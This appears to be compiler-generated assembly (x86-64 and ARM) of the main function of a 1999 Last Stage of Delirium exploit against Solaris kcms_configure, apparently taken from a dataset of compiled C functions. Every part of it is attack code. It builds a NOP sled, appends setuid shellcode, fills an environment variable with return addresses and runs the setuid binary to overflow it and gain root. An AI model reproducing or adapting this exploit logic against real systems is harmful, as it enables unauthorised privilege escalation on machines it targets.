	.file	"extr_20768.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"copyright LAST STAGE OF DELIRIUM dec 1999 poland  //lsd-pl.net/"
	.align 8
.LC1:
	.string	"kcsSUNWIOsolf.so for solaris 2.7 2.8 (2.6 ?) x86\n"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC2:
	.string	"usage: %s xserver:display\n"
.LC3:
	.string	"DISPLAY=%s"
.LC4:
	.string	"lsd"
.LC5:
	.string	"-o"
	.section	.rodata.str1.8
	.align 8
.LC6:
	.string	"/usr/openwin/bin/kcms_configure"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	push	rbx
	.cfi_def_cfa_offset 24
	.cfi_offset 3, -24
	lea	r11, -16384[rsp]
	.cfi_def_cfa 11, 16408
.LPSRL0:
	sub	rsp, 4096
	or	DWORD PTR [rsp], 0
	cmp	rsp, r11
	jne	.LPSRL0
	.cfi_def_cfa_register 7
	sub	rsp, 3816
	.cfi_def_cfa_offset 20224
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 20184[rsp], rax
	xor	eax, eax
	mov	ebp, edi
	lea	rdi, .LC0[rip]
	mov	rbx, rsi
	call	puts@PLT
	lea	rdi, .LC1[rip]
	call	puts@PLT
	cmp	ebp, 2
	je	.L2
	mov	rsi, QWORD PTR [rbx]
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	or	edi, -1
	call	exit@PLT
.L2:
	xor	eax, eax
	call	[QWORD PTR jump[rip]]
	mov	rdx, QWORD PTR 8[rbx]
	lea	rbx, 48[rsp]
	lea	rsi, .LC3[rip]
	add	eax, 10300
	mov	rdi, rbx
	mov	DWORD PTR 44[rsp], eax
	xor	eax, eax
	call	sprintf@PLT
	lea	rdx, 17176[rsp]
	lea	rax, 176[rsp]
	mov	QWORD PTR 16[rsp], rbx
	mov	QWORD PTR 8[rsp], rdx
	mov	edx, DWORD PTR NOPNUM[rip]
	mov	QWORD PTR [rsp], rax
	mov	QWORD PTR 24[rsp], 0
	mov	DWORD PTR 176[rsp], 1031305336
	mov	BYTE PTR 180[rsp], 0
	test	edx, edx
	jle	.L10
	lea	ecx, -1[rdx]
	lea	rsi, 180[rsp]
	lea	rdx, 5[rax+rcx]
	mov	rax, rsi
	.p2align 4,,10
	.p2align 3
.L4:
	add	rax, 1
	mov	BYTE PTR -1[rax], -112
	cmp	rax, rdx
	jne	.L4
	lea	rbp, 1[rsi+rcx]
.L3:
	mov	rdi, QWORD PTR setuidshellcode[rip]
	xor	ebx, ebx
	jmp	.L5
	.p2align 4,,10
	.p2align 3
.L6:
	mov	rdi, QWORD PTR setuidshellcode[rip]
	add	rbp, 1
	mov	eax, DWORD PTR [rdi+rbx*4]
	add	rbx, 1
	mov	BYTE PTR -1[rbp], al
.L5:
	call	strlen@PLT
	cmp	eax, ebx
	jg	.L6
	movabs	rax, 5715719247436268363
	mov	BYTE PTR 0[rbp], 0
	mov	QWORD PTR 17176[rsp], rax
	mov	eax, 15699
	mov	WORD PTR 17188[rsp], ax
	mov	eax, DWORD PTR ADRNUM[rip]
	mov	DWORD PTR 17184[rsp], 1162627398
	mov	BYTE PTR 17190[rsp], 0
	test	eax, eax
	jle	.L11
	lea	esi, -1[rax]
	lea	rcx, 17190[rsp]
	xor	eax, eax
	lea	rdi, 1[rsi]
	.p2align 4,,10
	.p2align 3
.L8:
	mov	rdx, rax
	and	edx, 3
	movzx	edx, BYTE PTR 44[rsp+rdx]
	mov	BYTE PTR [rcx+rax], dl
	mov	rdx, rax
	add	rax, 1
	cmp	rdx, rsi
	jne	.L8
	add	rcx, rdi
.L7:
	mov	BYTE PTR [rcx], 0
	lea	rcx, .LC4[rip]
	xor	r8d, r8d
	mov	r9, rsp
	lea	rdx, .LC5[rip]
	mov	rsi, rcx
	lea	rdi, .LC6[rip]
	call	execle@PLT
	mov	rax, QWORD PTR 20184[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L19
	add	rsp, 20200
	.cfi_remember_state
	.cfi_def_cfa_offset 24
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 16
	pop	rbp
	.cfi_def_cfa_offset 8
	ret
.L10:
	.cfi_restore_state
	lea	rbp, 180[rsp]
	jmp	.L3
.L11:
	lea	rcx, 17190[rsp]
	jmp	.L7
.L19:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	setuidshellcode,8,8
	.comm	jump,8,8
	.comm	NOPNUM,4,4
	.comm	ADRNUM,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_20768.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"copyright LAST STAGE OF DELIRIUM dec 1999 poland  /"
	.ascii	"/lsd-pl.net/\000"
	.align	2
.LC1:
	.ascii	"kcsSUNWIOsolf.so for solaris 2.7 2.8 (2.6 ?) x86\012"
	.ascii	"\000"
	.align	2
.LC2:
	.ascii	"usage: %s xserver:display\012\000"
	.align	2
.LC3:
	.ascii	"DISPLAY=%s\000"
	.align	2
.LC4:
	.ascii	"xxx=\000"
	.align	2
.LC5:
	.ascii	"KCMS_PROFILES=\000"
	.align	2
.LC6:
	.ascii	"lsd\000"
	.align	2
.LC7:
	.ascii	"-o\000"
	.align	2
.LC8:
	.ascii	"/usr/openwin/bin/kcms_configure\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC9:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 20152
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, lr}
	mov	r5, r0
	sub	sp, sp, #19968
	sub	sp, sp, #196
	ldr	r2, .L20
	add	r3, sp, #19968
	ldr	r0, .L20+4
	add	r3, r3, #188
	mov	r4, r1
	ldr	r2, [r2]
	str	r2, [r3]
	mov	r2,#0
	bl	puts
	ldr	r0, .L20+8
	bl	puts
	cmp	r5, #2
	beq	.L2
	ldr	r1, [r4]
	ldr	r0, .L20+12
	bl	printf
	mvn	r0, #0
	bl	exit
.L2:
	ldr	r3, .L20+16
	add	r6, sp, #28
	ldr	r3, [r3]
	blx	r3
	add	r3, r0, #10240
	add	r3, r3, #60
	ldr	r2, [r4, #4]
	ldr	r1, .L20+20
	mov	r0, r6
	str	r3, [sp, #24]
	bl	sprintf
	mov	r1, #0
	ldr	r3, .L20+24
	add	r5, sp, #156
	ldr	ip, [r3]
	ldr	r2, .L20+28
	add	r3, r5, #16896
	add	r3, r3, #104
	cmp	ip, r1
	str	r1, [sp, #20]
	str	r6, [sp, #16]
	ldm	r2, {r0, r1}
	str	r5, [sp, #8]
	str	r3, [sp, #12]
	str	r0, [sp, #156]
	strb	r1, [sp, #160]
	ble	.L10
	mvn	r1, #111
	add	r2, ip, #4
	add	r2, r5, r2
	add	r3, sp, #160
.L4:
	strb	r1, [r3], #1
	cmp	r2, r3
	bne	.L4
	add	r6, sp, #160
	add	r6, r6, ip
.L3:
	ldr	r3, .L20+32
	mov	r4, #0
	ldr	r7, [r3]
	b	.L5
.L6:
	ldr	r3, [r7, r4, lsl #2]
	add	r4, r4, #1
	strb	r3, [r6], #1
.L5:
	mov	r0, r7
	bl	strlen
	cmp	r0, r4
	bgt	.L6
	mov	ip, #0
	ldr	r3, .L20+36
	add	lr, r5, #16896
	add	r4, lr, #104
	ldm	r3, {r0, r1, r2, r3}
	strb	ip, [r6]
	stmia	r4!, {r0, r1, r2}
	ldr	r2, .L20+40
	strh	r3, [r4], #2	@ movhi
	ldr	r0, [r2]
	lsr	r3, r3, #16
	cmp	r0, ip
	strb	r3, [r4]
	ble	.L11
	mov	r3, ip
	add	r1, lr, #118
.L8:
	and	r2, r3, #3
	add	ip, sp, #3776
	add	r2, ip, r2
	ldrb	r2, [r2, #-3752]	@ zero_extendqisi2
	add	r3, r3, #1
	cmp	r3, r0
	strb	r2, [r1], #1
	bne	.L8
	add	r5, r5, #16896
	add	r5, r5, #118
	add	r5, r5, r3
.L7:
	mov	r4, #0
	ldr	r3, .L20+44
	add	r2, sp, #8
	mov	r1, r3
	str	r2, [sp, #4]
	str	r4, [sp]
	ldr	r2, .L20+48
	ldr	r0, .L20+52
	strb	r4, [r5]
	bl	execle
	add	r3, sp, #19968
	ldr	r2, .L20
	add	r3, r3, #188
	ldr	r1, [r2]
	ldr	r2, [r3]
	eors	r1, r2, r1
	mov	r2, #0
	bne	.L19
	mov	r0, r4
	add	sp, sp, #19968
	add	sp, sp, #196
	@ sp needed
	pop	{r4, r5, r6, r7, pc}
.L10:
	add	r6, sp, #160
	b	.L3
.L11:
	add	r5, lr, #118
	b	.L7
.L19:
	bl	__stack_chk_fail
.L21:
	.align	2
.L20:
	.word	.LC9
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	jump
	.word	.LC3
	.word	NOPNUM
	.word	.LC4
	.word	setuidshellcode
	.word	.LC5
	.word	ADRNUM
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.size	main, .-main
	.comm	setuidshellcode,4,4
	.comm	jump,4,4
	.comm	NOPNUM,4,4
	.comm	ADRNUM,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
